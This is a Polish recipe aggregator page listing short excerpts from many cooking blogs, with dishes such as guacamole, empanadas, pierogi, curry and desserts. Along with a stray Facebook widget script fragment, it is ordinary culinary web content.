Mój Smak na Życie
Guacamole - poczuj smak Meksyku 174

Guacamole - sos, salsa, dip, pasta. Ile smakoszy tyle określeń tej fantastycznej propozycji. Jedno jest pewne, pośród wielu modyfikacji i wariacji na temat guacamole, jego niekwestionowanym, głównym aktorem jest zielone awokado. Nie zamierzam przekonywać Cię o jego cudownych właściwościach, bo każdy świadomy konsument wie co dobre i wartościowe. Guacamole znajduje się jako moja propozycja urozmaicenia Twojego codziennego menu. To świetna alternatywa

Mój Smak na Życie
Empanady z tuńczykiem 367

potrafi zjeść 3/4 porcji na jedno posiedzenie. Dlatego myślę, że najwyższa pora podzielić się tym przepisem także z Wami. :) Składniki (na 18 sztuk): na farsz: 40 dag tuńczyka w sosie własnym (3 małe puszki) 1,5 papryki czerwonej 2 cebule 3 jajka 25 dag przecieru pomidorowego 3 łyżki posiekanej pietruszki 1 łyżka oliwy sól, pieprz na ciasto: 3,5 szklanki

Zakręcony Widelec
Brokuły w cieście francuskim 303

pleśniowego, brokułu i po 2 plasterki pomidorka koktajlowego. Zapiekam ok 10 minut w 180oC. Po upieczeniu posypuję pieprzem (aby nie powiedzieć "pieprzę"(:  ) Do podawanych na zimno idealnie pasuje sos czosnkowy

Mechanik w kuchni
Szynka pekolwana- pieczona 177

Włożyć do naczynia, nie nakrywać. Piec pierwsze 30 min. ok. 220 stopni. Następnie zmniejszyć do 180 stopni i piec jeszcze ok. 2 godziny. Szynkę polewać wytworzonym z niej  sosem i często obracać. Szynka smakuje na gorąco i zimno. SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Makaron a'la chiński kubek 1799

przyprawę dodaną do opakowania. Wymieszaj.  Makaron odcedź i dodaj na sitko. Wszystko razem wymieszaj. Do jogurtu przeciśnij przez praskę czosnek, dodaj sól i pieprz. Makaron podawaj z polanym sosem lub obok w naczyniu. Smacznego

Anielska Kuchnia Ani
Pomidorowe curry Nigelli z ryżem jaśminowym 268

Dziś przedstawiam Wam prosty dodatek do indyjskiego menu. Warto wykorzystać, kiedy robimy jakiś mięsny sos bez warzyw - pomidorowo-cebulowe curry Nigelli. Jednak jeszcze lepszym patentem jest ryż jaśminowy robiony... na bazie herbaty jaśminowej. Ten trick sprzedał mi Jamie Oliver. Jak widzicie mam słabość do brytyjskich kulinarnych celebrytów. Swoją drogą, to ciekawe, że Anglia, która nie kojarzy mi się zbytnio

W kuchni wieczorem
Kopytka jaglane z zielonym groszkiem, na szybko. 922

Pyzy, kluski, pierogi, wszystkie chętnie jedzone przez moją rodzinę. Wystarczy bułka zrumieniona na maśle, dobra oliwa, domowy sos lub sałatka żeby przygotować szybką przekąskę lub dodatek do dania głównego. Jakby nie było Kuchnia Polska kluską stoi. Bardzo często szukam inspiracji w starych przepisach i przygotowuję lżejsze i zdrowsze wersje popularnych potraw. Do moich ulubionych zamienników należy kasza jaglana. Świetnie się

SzczyptaSmaQ
Makaron z cukinii w sosie kalafiorowym (gluten-free) 385

Gotujemy na średnim ogniu, aż kurczak będzie gotowy (5-7 minut). Na minutę przed końcem dodajemy kolendrę i mieszamy. 4. Na dwa głębokie talerze wykładamy "makaron" z cukinii, nakładamy sos i dekorujemy listkami kolendry. Smacznego! :) Przepis bierze udział w akcji

My Culinary Art
Pierogi z mąki gryczanej i farsz (nie)ruski 341

brzegi widelcem. Pierogi wrzucam na lekko osoloną, wrzącą wodę i czekam parę minut aż "wypłyną", uważając żeby nie przywarły do dna garnka.  I to koniec. Najlepiej podawać z sosem czosnkowym "własnej roboty"  !!! Miłego popołudnia

Życie na widelcu
SAŁATKA PIECZARKOWA 1244

pora  4. Kremowa sałatka włoska ze śledziem na łódeczkach pomidorowych 5. SAŁATKA Z TUŃCZYKIEM, POREM, CZERWONYM RYŻEM, CZARNYM SEZAMEM, ZIARNAMI I... 6. Sałatka Jarzynowa 7. Sałatka Fasolowa 8. Sos tatarski mocno grzybowy 9. Sałatka 3 sałaty - świeża, z bukietem sałat i serkiem, Aby nic, a nic Wam nie umknęło: zaobserwujcie nas: tutaj i polubcie na facebooku tutaj

Wypisz Wymaluj
Obiadek 194

sięgnę po żadne batony tudzież wafelki... Po przyjściu do domu , otwarłam lodówkę, a w niej pyszniła się kaszanka. Pokroiłam ją w plastry i szybko na patelnie z kilkoma kroplami sosu sojowego. Otworzyłam słoik sałatki szwedzkiej  Dworski  , która to sałatka tak nawiasem mówiąc jest przepyszna i można ją wyjeść samą wprost ze słoika. Nie chciało mi się obierać ziemniaków

Z Kuchni Do Kuchni
Zrazy wołowe z boczkiem 398

wykałaczkami. Zwinięte rolady obtoczyć w mące i obsmażyć na oleju na złoty kolor. Podlać wodą i dusić pod przykryciem ok 1 i 1/2 godz. Wyjąć rolady i zdjąć wykałaczki, sos w razie potrzeby zagęścić mąką i włożyć do niego rolady. Smacznego! Post Zrazy wołowe z boczkiem pojawił się poraz pierwszy w Anielskie Smaki

Anielskie Smaki
Ciasto na pizze 370

godzinę w ciepłe miejsce. Gdy ciasto podwoi objętość formujemy placek i podpiekamy w piekarniku nagrzanym do 200 stopni, aż ciasto delikatnie się zrumieni (około 10 minut). Następnie smarujemy ciasto sosem pomidorowym lub przecierem z dodatkiem bazylii i posypujemy ulubionymi składnikami. Ponownie wkładamy pizzę do pieca i dopiekamy

Zapiski Młodej Żony
Soczysty schab w ziołach 236

lodówki.  Następnego dnia wyjąć mięso z lodówki na 2 godz.przed pieczeniem.  Piec 1 godz.w nagrzanym piekarniku do 180 stop.  Po upieczeniu zostawiamy schab w sosie do wystygnięcia. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk

Kuchnia Danusi
Tarta Tatin z patelni 253

najlepiej! Sama w sobie jest pyszna, ale jeśli macie ochotę  możemy podawać z lodami, pitą śmietaną, a dla osób odważnych, w których żyłach płynie cukier, również ze słodkimi sosami :) Smacznego

Taste Of My Day
Chili con carne 358

pyszne i sycące danie jednogarnkowe. Zrobione jest z mięsa mielonego w towarzystwie papryki, czerwonej fasoli, kukurydzy, cebuli oraz czosnku. Całość uduszona jest w pikantnym sosie pomidorowym. Chili con carne można podać, tak jak ja z ryżem jak również z plackami tortilla, które wcześniej należy podpiec na patelni. Post Chili con carne pojawił

Marta Gotuje
Pieczony Filet z Kurczaka na Kanapki - Zielony ;) 491

dodaję. Ma smak jaki sobie sama wymyślę. Co jest najfajniejszym plusem? Takie pieczone mięso jadamy nie tylko na zimno w kanapkach, ale i na ciepło w sosie z ziemniaczkami jako drugie danie obiadowe. Wykonanie? Proste! Mięso marynuję, zapominam o nim na dzień lub dwa, a potem piekę. To wszystko, żadnej filozofii, żadnych skomplikowanych składników. No to co? Do dzieła Kochani

Blondynka Gotuje
Koszyczki z ciasta filo z serem i szpinakiem 213

układamy w formie do muffinek. Do środka każdego  koszyczków nakładam farsz delikatnie przymykamy koszyczki. Pieczemy ok. 20-25 min w temp. 200 stopni. Podajemy na ciepło z sosem czosnkowym. Bon Appetit

Pudełko rozmaitości
Sałatka z tortellini i suszonymi pomidorami 378

Tortellini gotujemy według instrukcji na opakowaniu i studzimy. Ogórka obieramy i kroimy, szynkę również kroimy w niezbyt duże kawałeczki.  Suszone pomidory odciskamy z zalewy i kroimy w paseczki. Sos - w miseczce mieszamy majonez, jogurt, przeciśnięty przez praskę czosnek i przyprawy.  Wszystkie składniki wrzucamy do dużej misy i mieszamy.  Przekładamy do salaterki i posypujemy pokruszonymi krakersami lub włoskimi

Lawendowe Niebo
Surówka z czerwonej kapusty 1113

wiele mikro- i makroelementów, między innymi potas, cynk i magnez. Zawiera również przeciwutleniacze,  Moja surówka na dodatek jest niskokaloryczna, ponieważ dodałam do niej minimalną ilość majonezu, a resztę sosu uzupełniłam naturalnym jogurtem.  Surówka jest najlepsza po kilku godzinach, gdy wszystkie smaki się dokładnie przegryzą.   Surówka z czerwonej kapusty Czas przygotowania: 60 minut Składniki: 1000 g czerwonej kapusty

Kulinarne przygody Gatity
Schab w ziołach z szynkowara 375

należy dopuścić, aby gotująca woda dostała się do foremki. Musi spokojnie pyrkać na gazie. Od momentu zagotowania wody - 65 minut. Następnie wyłączyć gaz. Wyciągnąć delikatnie formę- wylać z niej sos, który się wytworzył i wstawić, najlepiej do zlewu z zimną wodą, w celu wychłodzenia szynki. NIE OTWIERAĆ szynkowara! Włożyć go jak jest do lodówki, na dobę. Na drugi dzień zwolnić

Z Kuchni Do Kuchni
Occhi di lupo zapiekane z indykiem i szpinakiem 300

żaroodpornego spryskanego oliwą wykładamy ugotowany makron, dodajemy indyka wraz z cebulą oraz większą część sera Maasdam, starego wcześniej na tarce o dużych oczkach. Wszystko dokładnie mieszamy. Na wierzch wylewamy sos szpinakowy, posypujemy resztą Mazdamera oraz układamy przekrojone na pół pomidorki koktajlowe. Zapiekankę przykrywamy. Pieczemy w piekarniku nagrzanym na 180 ° C przez ok. 35 minut

Delicious Titbits
Roladki z łososia w szynce parmeńskiej z serem gorgonzola 337

plaster łososia i znów posmarować serem. Zwinąć w roladkę. Tak zrobić z pozostałymi składnikami. Podawać z zieloną sałatą i różnymi nowalijkami (ogórek, pomidor, rzodkiewka, papryka itp. polane sosem vinegret) Smacznego!   Post Roladki z łososia w szynce parmeńskiej z serem gorgonzola pojawił się poraz pierwszy w Anielskie Smaki

Anielskie Smaki
Quiche pełnoziarnisty z tuńczykiem i cebulą 233

zdrowe i smaczne danie.   Składniki Na ciasto: 120g mąki pszennej tortowej 80g maki razowej typ 2000 100g masła jajko szczypta soli łyżka zimnej wody Na farsz: Tuńczyk w sosie własnym 150g 1,5 średniej czerwonej cebuli Strąk czerwonej papryki Gałązka selera naciowego 3 jajka 150ml słodkiej śmietanki 12-18% 50g startego sera żółtego Sól, biały pieprz Sposób przygotowania Ciasto

Pyry na Gaz
Sałatka z grillowanym pieczonym kurczakiem 359

zostanie nam coś pieczonego kurczaka można go wykorzystać do przygotowani szybkiej, pysznej, kolacyjnej sałatki. U mnie w niej znalazły się warzywa, które praktycznie zawsze mam w lodówce. Do tego sos w stylu azjatyckim i mamy pyszny, nowy posiłek. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kurczak curry z mleczkiem kokosowym 276

następnie wlać mleczko kokosowe i ewentualnie pędy bambusa lub kiełki fasoli. Po dodaniu mleczka już nie przykrywać, aby trochę odparowało, gotować jeszcze przez około 10 - 15 minut. Można powstały sos zagęścić, dodając 1 łyżeczkę mąki rozmieszaną z odrobiną zimnej wody. Ja mąki nie dodaję, gdyż lekko płynna konsystencja mi odpowiada - po włożeniu do ryżu, płyn jest częściowo wchłaniany przez ryż

Kuchcik gotuje
Gołąbki inaczej 453

solą i pieprzem. Niektórzy obsmażają. Pomijam ten etap Gołąbki są zdrowsze. Układamy w naczyniu żaroodpornym. Pastę pomidorową wodę, śmietanę rozbijamy razem w oddzielnym naczyniu. Doprawiamy solą i pieprzem. Takim sosem zalewamy gołąbki. Pieczemy pod przykryciem, w temperaturze 180 stopni ok. 1 godzinę. Smakują tak, jak gołąbki. Natomiast my zaoszczędzamy zawijania. SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli

W kuchennym oknie Ewy
Pasta z tuńczyka i kurczaka 381

bagietką lub prosto z miseczki ;) Zapraszam do przygotowań! Składniki: 2 pojedyncze piersi z kurczaka włoszczyzna (marchewka, pietruszka, kawałek selera) liść laurowy, sól, pieprz 1 puszka tuńczyka (185 g) w sosie własnym 1/2 małego słoiczka delikatnego majonezu (ok. 110 g) szczypiorek CZAS PRZYGOTOWANIA: ok. 50 MIN POZIOM TRUDNOŚCI: ŁATWY 1. Piersi z kurczaka umieszczamy w garnku z włoszczyzną, liściem laurowym, szczyptą

My Culinary Art
Karkówka duszona z pieczarkami i kaszą gryczaną 371

dłuż i zasypujemy usmażoną karnówkę. Obraną cebulę kroimy w piórka i razem z pieczarkami, dusimy na wolnym ogniu po 15 minutach dodajemy łyżeczkę musztardy, chwilę gotujemy aż powstanie sos. Podajemy z ugotowana na sypko kaszą gryczaną oraz surówką z marchwi . Smacznego

kgwjanczewo
Naleśniki chłopskie 1417

zawijamy, tak jak krokiety i układamy je w naczyniu żaroodpornym. Posypujemy je startym żółtym serem i keczupem.  Zapiekamy około 25 minut w 180 stopniach. Można je podawać z sosem pieczarkowym lub jako samodzielne danie

Lawendowe Niebo
Pikantne skrzydełka z kurczaka 405

Jeśli lubimy ostre i pikantne dania z grilla ale nie przepadamy za skrzydełkami zalanymi Tabasco lub innymi gotowymi sosami zachęcamy do skorzystania z tego przepisu. Składniki: 2 kg skrzydełek z kurczaka 2 puszki papryki chipotle chili w proszku sól pieprz Przygotowanie: Skrzydełka z kurczaka myjemy, obficie nacieramy solą, pieprzem i dużą ilością chili. Puszkę papryki chipotle wlewamy do dużego worka

naRuszcie
Faszerowane piersi z kurczaka rukolą, suszonymi pomidorami i serem 229

czas obracamy, tak by w środku nie były surowe. U mnie smażyły się ok. 15 minut na małym ogniu. Podajemy z kaszą gryczaną niepaloną i sałatką z rukoli polaną sosem winegret

Aga w kuchni
Kluski śląskie 228

Kluski śląskie po śląsku nazywane gumiklyjzy, są to kluski ze specyficznym wgłębieniem które poza właściwościami dekoracyjnymi pełnią rolę swoistego pojemnika w którym zatrzymuje się sos. Składniki : ziemniaki mąka ziemniaczana  Przygotowanie : Ugotowane ziemniaki, jeszcze nieco ciepłe przeciskam przez praskę. Przeciśnięte ziemniaki lekko ugniatam, dzielę na 4 równe części i po wyjęciu jednej z części uzupełniam to miejsce mąką ziemniaczaną. Wyrabiam

Mechanik w kuchni
Polędwiczka wieprzowa z serem gorgonzola i boczkiem 246

selera. Polecam baaardzo :) Składniki dla 5 osób: ok. 700 g polędwiczki wieprzowej 100 g sera gorgonzola 5 plastrów surowego boczku 2 łyżki masła (najlepiej klarowanego) Marynata: 50 ml sosu sojowego 2 ząbki czosnku, przeciśnięte przez praskę pieprz do smaku Do podania: puree ziemniaczane surówka z selera CZAS PRZYGOTOWANIA: 40 MIN CZAS MARYNOWANIA: 180 MIN POZIOM TRUDNOŚCI: ŁATWY 1. Polędwiczkę oczyszczamy

My Culinary Art
Kasza z pomidorowym sosem z piersi kurczaka (porcja - ok. 470 kcal) 236

małej szklaneczce mieszamy na gładko mąkę z powstałym wcześniej bulionem i łyżką mleka, tak przygotowaną rzadką "pastę" dodajemy do gotującego się kurczaka i mieszamy. 5. Ciągle mieszając czekamy aż sos zgęstnieje i gotowe. 6. W międzyczasie gotujemy na sypko kaszę gryczaną (tu: niepalona). (Gotowałam w parowarze ok. pół godziny, zalaną wodą lekko ponad poziom kaszy)  (Można też zjeść

Malowane smakiem
Spaghetti, szpinak i ricotta 286

gotujemy zgodnie z opisem na opakowaniu. Na oliwie obsmażamy plasterki czosnku, dodajemy szpinak, dusimy na małym ogniu. Do szpinaku z czosnkiem dodajemy ricottę, starannie mieszamy i do tak przygotowanego sosu dodajemy odcedzony makaron, doprawiamy do smaku, mieszamy, podajemy zaraz po przygotowaniu

Moja smaczna kuchnia
Burrito 240

podgrzaną tortillę nakładam farsz, zawijam pomagając sobie wykałaczką aby się nie rozwijała, posypuję startym serem i papryką w proszku lecz słodką :) Zapiekam do rozpuszczenia się sera. Podać proponuję z sosem śmietanowym który jeśli będzie trzeba złagodzi pikantność lub tak ja lubię z kuflem ulubionego piwa (oczywiście bezalkoholowego

Mechanik w kuchni
Desery 289

Smoothie ananasowe z kiwi Galaretka z białego wina Trufle czekoladowe Domowy cukier waniliowy Szyszki ryżowe Czekoladki z nadzieniem mleczno malinowy Szpajza cytrynowa -śląski deser Gruszki w różowym winie z sosem karmelowym Trifle borówkowe Semifreddo truskawkowo czekoladowe Deser galaretka z truskawkami Deser grecki z musem truskawkowym Eton mess z rabarbarem Deser w błękicie z granolą Czekoladki z wiśnią Pyszny

Ala piecze i gotuje
Miodowy kurczak na butelce 362

kurczaka. Po około 15 minutach gdy skórka się już lekko zarumieni podlewamy 4-5 łyżkami wody i pieczemy prze kolejne 1,5h, podlewając mięso co około 10 minut wytworzonym sosem. Resztę masła roztopić i wymieszać z miodem. Mieszaniną wysmarować dokładnie kurczaka na około 20 minut przed planowanym wyciągnięciem. Upieczonego kurczaka delikatnie zdjąć z butelki i ułożyć na paterę. Udekorować gałązkami

Pyry na Gaz
Pierś faszerowana szpinakiem w cieście francuskim 214

liście szpinaku. Pierś smażymy na rozgrzanym oleju ze wszystkich stron na rumiano. Dolewamy około pół szklanki wody i dusimy pod przykryciem około 15 minut. Jeśli w tym czasie cały sos wyparuje dolać jeszcze odrobinę wody. Piersi odłożyć na talerz do ostygnięcia. Na tej samej patelni na której smażył się kurczak podsmażyć pokrojona w piórka cebulę. Piersi ułożyć na rozwiniętym płacie

Pyry na Gaz
Pieczone roladki z piersi kurczaka 239

mięso a następnie owijamy w szynkę szwarcwaldzką. Gotowe roladki szczelnie zawijamy w folię aluminiową tworząc "cukierki". Pieczemy w 180 stopniach C przez 20-25 minut. Najlepiej smakują z dodatkiem sosu jogurtowo-czosnkowego

Pyry na Gaz
Kluseczki z cukinii 213

wykładamy na wrzątek porcje ciasta. Mieszamy delikatnie, aby nie przykleiły się do dna. Wyciągamy 2-3 minuty po wypłynięciu. Kluseczki świetnie smakują polane oliwa z oliwy, roztopionym masłem lub sosem

Pyry na Gaz
Sałatka z roszponką i bryndzą 201

odsączamy i ugadamy na talerzu. Łyżeczka nabieramy bryndze i nakładamy na roszponkę. Rzodkiewki myjemy i kroimy na ćwiartki (jeśli są duże każdą ćwiartkę przekrawamy jeszcze na pół). Składniki na sos dokładnie mieszamy tworząc emulsję którą polewamy sałatkę. Serwujemy do duszonych i pieczonych mięs i/lub grzanek

Pyry na Gaz
Soczewica z kurczakiem i pomidorami 255

płyny się zredukują do pożądanej konsystencji. Doprawiamy do smaku solą, świeżo mielonym czarnym pieprzem i oregano. Wyłączamy grzanie i dodaje,my posiekaną bazylię. Soczewicę odsączamy, nakładamy na talerze. Polewamy sosem pomidorowym z kurczakiem. Posypujemy siemieniem lnianym i dekorujemy listkiem bazylii

Pyry na Gaz
Dania mączne 261

Pierogi z kapustą i grzybami Knedle z śliwkami i sosem śmietankowym Knedle z truskawkami na musie Pierogi z truskawkami Pierogi z dynią i soczewicą Kopytka z serem Racuchy z ananasem Placki ziemniaczane z gulaszem Racuchy z bananami Naleśniki z serem zapiekane w śmietanie Knedle z śliwkami Placki jogurtowe Pierogi z czerwoną soczewicą Twarogowe placuszki Ravioli z szpinakiem i grana padano

Ala piecze i gotuje
Pasta z tuńczyka i jajek 382

jeśli posmarujemy pastą krążki pumpernikla. My najbardziej lubimy z ciemnym pieczywem i kiełkami brokuła. Pasta z tuńczyka i jajek: 4 duże lub 5 małych jaj 1 puszka tuńczyka w sosie własnym (170 g) 1 cebula szalotka (można zastąpić szczypiorkiem) 2 ogórki kiszone 2 czubate łyżki orzechów włoskich 2 łyżki majonezu light lub kremowego serka 1 łyżeczka musztardy dijon (ewentualnie łyżka

Poezja smaku
Makaron z kurczakiem i gorgonzolą. 265

wodą i dodać śmietanę, pokruszony ser gorgonzola oraz koperek. Wszystko wymieszać doprawić solą (ale delikatnie bo ser jest słony) i pieprzem i chwilę podgrzać. Na talerzu makaron polać gorącym sosem

O kuchni z uczuciem
Spaghetti Carbonara 169

Marzy się wam szybki i nieskomplikowany obiad, za to smaczny? Spaghetti Carbonara to idealne wyjście z sytuacji W trakcie gotowania makaronu przygotowujemy szybki sos (serio jest błyskawiczny), a na koniec staramy się nie zjeść obiadu przed dojściem do stołu (może nie być łatwo). Nowy post Spaghetti Carbonara pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Zapiekanka makaronowa 335

Zrobiłam więc swoją niezawodną zapiekankę makaronową. Miałam okazję do wykorzystania resztek wędlin. Składniki: 1 opakowanie makaronu 20 dag  kiełbasy lub wędlin 20 dag sera żółtego Słoiczek  sosu bolońskiego Puszka czerwonej fasoli Sól Ketchup. Sposób wykonania: Makaron gotujemy w osolonej wodzie, aż do chwili gdy będzie średnio miękki. W tym czasie ser żółty trzemy na tarce, a pokrojoną kiełbasę

Na słodko lub wytrawnie
Placki ziemniaczane 211

jajko, mąkę  i przyprawy do smaku.  Smażyć na patelni na gorącym oleju z obu stron, do chwili aż się zarumienią. Można spożywać z cukrem, śmietaną lub innym sosami lub mogą być jako baza do placka zbójnickiego . Smacznego

Na słodko lub wytrawnie
Kopytka, czyli kluski ziemniaczane 191

czasie rolowania ciasta na paski podsypywać mąką. Zagotować wodę i posolić. Wrzucać kluski na wrzącą wodę. Gotować od chwili wypłynięcia 3 minuty. Podawać na gorąco ze skwarkami, sosem. Smacznego

Na słodko lub wytrawnie
Kurczak pieczony na ruszcie w piekarniku 764

gdzie skapywać), tak aby nie nachodziły na siebie. Całość wstawić do nagrzanego piekarnika. Piec 1 godzinę 20 minut, co pół godziny lekko spryskując kurczaki olejem ( ja polewam łyżką do sosów )w temperaturze 180 stopni C ( bez termoobiegu, bo za bardzo się skóra wysuszy). Upieczone wyjąć, podawać na gorąco. Smacznego

Na słodko lub wytrawnie
Pieczeń rzymska nadziewana pieczarkami z dodatkiem pieczarek w śmietanie 244

czasu mieszając.   Po ok 30 minutach zdjąć przykrycie z patelni i na małym ogniu smażyć całość jeszcze ok 10 minut ( ze smażeniem nie należy przesadzać, powinien jeszcze zostać sos) Z podsmażonych pieczarek odjąć ¼   część na farsz a do pozostałej ilości wlać śmietanę kremówkę i całość dusić jeszcze na małym ogniu na patelni ok 15 minut od czasu

Na słodko lub wytrawnie
Cynamonowe gofry z rumem 220

wymieszać delikatnie z ciastem. Gofrownicę wysmarować tłuszczem i rozgrzać. Ciasto nakładać na rozgrzaną gofrownicę, piec ok. 5 minut. Podawać zarówno na zimno jak i ciepło z dodatkiem słodkich kremów, sosów i owoców lub posypać można cukrem pudrem. Smacznego

Na słodko lub wytrawnie
Piersi z kurczaka w sosie pomidorowym z dodatkiem suszonych pomidorów 364

margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} Dzisiaj podam przepis na   piersi z kurczaka w sosie pomidorowym z dodatkiem suszonych pomidorów. Polecam :-) Składniki na 6 porcji: 1 kg piersi z kurczaka 1 koncentrat pomidorowy 2 łyżki suszonych pomidorów płaska łyżka bazylii płaska łyżka majeranku 1 łyżeczka

Na słodko lub wytrawnie
ZUPA POMIDOROWO WARZYWNA 234

pomidorowa, zmiksowana z warzywami. - 3,5 litra wody - 2 marchewki - 2 pietruszki - 1/4 selera - niewielki por - sól, pieprz, liście laurowe - ziele angielski - 2 uda kurczaka - 1 i 1/2 litra sosu pomidorowego, lub z 4 puszki z całymi pomidorami U da umyj, wrzuć do zimnej, osolonej wody, dodaj kilka ziaren pieprzu, 3 liście laurowe i 5-6 ziaren ziela angielskiego. Obierz

Pasje Jolki
Jak zrobić najprostszy sos pomidorowy do pizzy? 220

Sos pomidorowy to chyba najprostszy i najczęściej używany dodatek do różnych dań. Do tradycyjnej pizzy potrzebny będzie ten najłatwiejszy, który robi się zaledwie w kilka minut. Niektórzy tak idą na łatwiznę, że używają zwykłego zagęszczonego soku pomidorowego, ale to już by było arcy lenistwo ;-) Czego potrzebujemy? -pomidory w puszce -sól, pieprz -oliwa -bazylia i oregano -cebula posiekana drobno Cebulę szklimy

BaRepas
Siostra Anastazja 302

Brazylianka Ciasto cygan Brzoskwiniowe wydmy Szach-mat Filet z kurczaka w warzywnym sosie

Ala piecze i gotuje
Zapiekanka makaronowa z beszamelem 505

mieszamy z makaronem i przekładamy do naczynia żaroodpornego. 2. W małym garnku rozpuszczamy masło. Wsypujemy mąkę i intensywnie mieszamy. Stopniowo wlewamy mleko, cały czas mieszając, a następnie gotujemy, aż sos zgęstnieje do konsystencji budyniu. Wsypujemy 2 szklanki sera i mieszamy do rozpuszczenia. Zdejmujemy z ognia, doprawiamy solą, pieprzem i gałką muszkatołową.  3. Powstałym beszamelem polewamy makaron, posypujemy 1 szkl

My Culinary Art
Tahini - domowa pasta sezamowa 226

garnuszka, dodałam olej i sok, blendowałam przez około 5 min, do momentu aż powstała  powstała gęsta pasta. Tahini dodajemy nie tylko do hummusu, (przepis wkrótce ) może być składnikiem sosów, dipów, przysmaków kuchni arabskiej, a nawet słodkich ciast. Można przechowywać ją do miesiąca w lodówce. przepis stąd Na chlebie z dodatkiem miodu i czosnku też jest

Proste Potrawy
WARKOCZ FRANCUSKI 181

MAŁYCH PORCJI: 1 płat gotowego ciasta francuskiego 2 piersi z kurczaka  1/2 cebuli 10-12 średniej wielkości pieczarek  ulubione przyprawy (w mojej wersji sól, pieprz, czosnek, sos sojowy) 1/2 czerwonej papryki szpinak (może być zarówno świeży jak i mrożony) żółty starty ser do posypania farszu 1 łyżeczka oliwy 1 żółtko do posmarowania warkoczy A jak to zrobić: Płat

Kuchnia w opałach
RISOTTO 176

łyżka oliwy 2 woreczki ryżu  bulion 1 mała cebula 2 piersi z kurczaka  8 pieczarek  1 czerwona papryka 1 mały brokuł 4 łyżki kukurydzy konserwowej sos sojowy sól, pieprz,curry A jak to zrobić: Na głębokiej patelni rozgrzać oliwę, dodać pokrojona w piórka cebulę i lekko zeszklić. Dosypać ryż, wymieszać i zalać bulionem.Od czasu do czasu mieszać

Kuchnia w opałach
PARÓWKI W NALEŚNIKU Z DODATKAMI 335

jajka szczypta soli  olej bułka tarta Proporcje dobrane indywidualnie w zależności od tego ile naleśników chcemy otrzymać. Ważne, żeby ciasto nie było za gęste. farsz: cebula pieczarki sos sojowy sól, pieprz kukurydza papryka czerwona i zielona żółty ser parówki A jak to zrobić: Wszystkie składniki na naleśniki łączymy ze sobą, aby powstało gładkie ciasto bez grudek. Naleśniki smażymy

Kuchnia w opałach
TARTALETKI MALINOWO-GRUSZKOWE Z KREMEM ŚMIETANKOWYM 156

stopni (termoobieg 160 stopni). Jajka rozbełtać  ze śmietaną, cukrem pudrem, cukrem waniliowym i budyniem w proszku. Maliny i pokrojoną w plasterki gruszkę ułożyć w tartaletkach, polać sosem i piec ok. 30 minut

Kuchnia w opałach
SMAŻONE BANANY W CIEPŁYM TRUSKAWKOWYM SOSIE 141

mocno dojrzeją, tak że skórka robi się brązowa?  Takie banany robią się bardzo słodkie i miękkie, idealnie nadają się do deseru na ciepło. Moja propozycja to połączenie ciepłego sosu i bananów z zimnymi lodami. SKŁADNIKI: 2 dojrzałe banany 1 szklanka mrożonych truskawek 1 łyżka miodu lody o ulubionym smaku przyprawa do dań słodkich Kamis A jak to zrobić: Truskawki

Kuchnia w opałach
DESER LODOWY 148

mnie bananowe i brzoskwiniowe ulubione owoce: u mnie banan, kiwi, groszka, winogrona A jak to zrobić: Do salaterki przełożyć lody , dodać pokrojone owoce i gotowe. Można jeszcze całość wzbogacić sosem czekoladowym lub bitą śmietaną. Uznałam jednak, była by to zbyt duża rozpusta

Kuchnia w opałach
OWOCOWE SPAGHETTI 162

połową malin, skropić sokiem z cytryny. Dodać jogurt, porwane listki melisy i cukier do smaku, wymieszać. Drugą połowę kiwi pokroić w kostkę i z resztą malin dodać do sosu. Całość podgrzać i wymieszać z jeszcze ciepłym makaronem. Podawać od razu

Kuchnia w opałach
BAKŁAŻAN Z SZYNKĄ SZWARCWALDZKĄ 152

wierzchu ułożyć ćwiartki jajka. Przygotować dresing. Oliwę, ocet, sok z cytryny,liść laurowy, oregano, natkę, sól i pieprz  zagotować przez 5 minut w małym rondlu. Polać sałatkę sosem i odstawić do wystygnięcia na około 30 minut. Posypać sałatkę ziołami i podawać

Kuchnia w opałach
CARPACCIO Z BURAKA 166

pokroić na cienkie plasterki. Na talerzu ułożyć roszponkę, a następnie plasterki buraka. Pestki z dyni uprażyć na patelni i posypać buraki. Z oliwy, octu, soli i pieprzu przygotować sos, mieszając ze sobą wszystkie składniki, polać przygotowane carpaccio. Smacznego

Kuchnia w opałach
PEŁNOZIARNISTE SPAGHETTI Z SOSEM BROKUŁOWYM 153

Dolać śmietankę i gotować 5 minut na małym ogniu. Dodać przeciśnięty przez praskę czosnek, dokładnie wymieszać. Orzechy drobno pokroić i prażyć na patelni. Na talerz przekładamy porcję makaronu i sosu, posypujemy serem i prażonymi orzechami

Kuchnia w opałach
TOSTY WERSJA BIG :) 162

małym ogniu, aż ser się rozpuści, a chleb przyrumieni. W tym czasie warzywa pokroić na plasterki. Gdy tosty będą gotowe, składamy kanapkę. Na pierwszą kromkę nakładamy warstwę majonezu (lub sosu czosnkowego), sałatę, plastry piersi z kurczaka i po 2-3 plasterki warzyw, posypujemy oregano, solą i pieprzem. Przykrywamy następną kanapką, którą smarujemy ketchupem i nakładamy pozostałe warzywa. Czas na ostatnią

Kuchnia w opałach
ŁAZANKI 147

obiad? , Karoliną z Quchniakaroli i Amelią z Pierwsze primo .   W zamian za piosenkę żołnierską lub harcerską będziecie mogli skosztować :   1. Babki ziemniaczanej z wędzonym boczkiem i sosem z leśnych grzybów 2. Szarlotki polskiej 3. Pischingera 4. Gorącej czekolady 5. Tortu czekoladowego (jak z przedwojennej warszawskiej kawiarni "Ziemiańska") 6. Łazanek (z kiszonej i słodkiej kapusty z dodatkiem boczku

Kuchnia w opałach
TORT CZEKOLADOWY - FOTORELACJA Z FESTYNU NIEPODLGŁOŚCIOWEGO 175

